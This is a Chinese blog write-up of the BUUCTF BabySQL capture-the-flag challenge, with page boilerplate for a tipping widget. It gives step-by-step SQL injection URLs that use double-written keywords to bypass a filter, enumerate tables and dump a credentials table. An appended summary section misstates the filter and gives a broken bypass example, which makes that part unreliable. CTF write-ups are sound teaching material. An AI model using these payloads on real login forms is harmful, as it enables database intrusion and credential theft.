BUUCTF [极客大挑战 2019]BabySQL 1

本文详细描述了一次针对登录系统的SQL注入挑战,通过多重绕过过滤,作者展示了如何逐步获取数据库名、表名、列名和敏感数据的过程,重点在于绕过技巧和过滤策略的应对

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开就是个登录框,这道题是注入,那无疑就是user或者password处了

输入数据,在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11'&password=22

在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' order by 10#&password=22

order by 判断列数发现order by 被过滤
在这里插入图片描述
直接union联合查询,发现union被过滤
在这里插入图片描述
双写绕过,

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,2,3%23&password=22

在这里插入图片描述
接下来就是常规操作:

查找数据库名 -> 表名   -> 列名 -> 数据
11' ununionion seselectlect 1,2,database()%23&password=22
11' ununionion seselectlect 1,(select group_concat(table_name) from information_shcema.tables where table_schema=database()),3%23&password=22
11' ununionion seselectlect 1,(select group_concat(column_name) from information_shcema.columns where table_name='表名'),3%23&password=22
11' ununionion seselectlect 1,(select group_concat(列名) from 表名 ),3%23&password=22

但是发现对or\where\select也做了过滤

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='geek'),database()%23&password=22

在这里插入图片描述
继续双写绕过

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),database()%23&password=22

在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),database()%23&password=22

在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(id,username,passwoorrd) frofromm b4bsql),database()%23&password=22

在这里插入图片描述

### 极客挑战 2019 BabySQL 比赛题目与解题思路 #### 背景介绍 极客挑战 2019BabySQL 是一道经典的 SQL 注入题目,主要考察选手对于 SQL 注入漏洞的理解以及如何利用 `UNION` 查询绕过简单的过滤机制。该题目涉及的关键技术点包括但不限于:列数匹配、表名推测、字段提取等。 --- #### 列数匹配与注入点确认 在本题中,输入参数被嵌套到 SQL 查询语句中的方式未经过充分验证,从而形成了潜在的注入风险。通过尝试构造恶意输入并观察返回结果的变化,可以定位注入点的位置。例如,在用户名输入框中提交如下测试字符串: ```plaintext ?username=1'&password=1 ``` 如果页面反馈异常,则说明存在注入可能。进一步地,为了确定目标查询的结果集列数,可以通过不断调整 `UNION SELECT` 后面跟随的常量数量来实现试探性攻击[^1]。 --- #### 表结构探测 一旦明确了前序查询所期望的列数目(假设为三),就可以着手探索数据库内部存储的具体布局情况了。具体操作方法之一便是借助 MySQL 自带的信息模式库——information_schema 来枚举指定表格内的所有可用列定义: ```sql 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='b4bsql' # ``` 上述命令片段的作用在于将实际存在的各字段名称串联成单一字符串形式以便于后续解析处理过程更加便捷高效[^3]。 --- #### 数据抽取阶段 当成功获取到了完整的 schema 描述之后,下一步自然是读取敏感资料本身。考虑到最终目的是窃取用户凭证组合 (id, username, password),故而执行下面所示的操作逻辑显得尤为合理恰当: ```sql 1' union select 1,2,group_concat(id,username,password) from b4bsql # ``` 此脚本能够有效地把整个记录集合压缩至单一行展示出来,极地简化了人工分析的工作负担。 --- #### 绕过简单字符替换防护措施 值得注意的是,主办方特意引入了一种朴素的安全防御策略—即针对某些特定关键字实施重复拼接变换(如将 "union" 替换成为 "uunionion") 。然而这种做法并不能从根本上杜绝威胁发生概率 ,因为只要了解其转换规则即可轻松还原原始意图表达式[^2]: ```plaintext ?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1 ``` 在这里,“uunionnion” 和 “sselectelect” 实际上分别对应正常的 SQL 关键字“union” 及 “select”。 --- ### 总结 综上所述,解决这道 CTF 题目的核心要点涵盖了以下几个方面: - 准确识别出可利用之处; - 科学规划实验流程以推导必要元数据; - 巧妙规避基础层面的文字游戏型障碍物设置。 希望以上分享能对你有所帮助! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值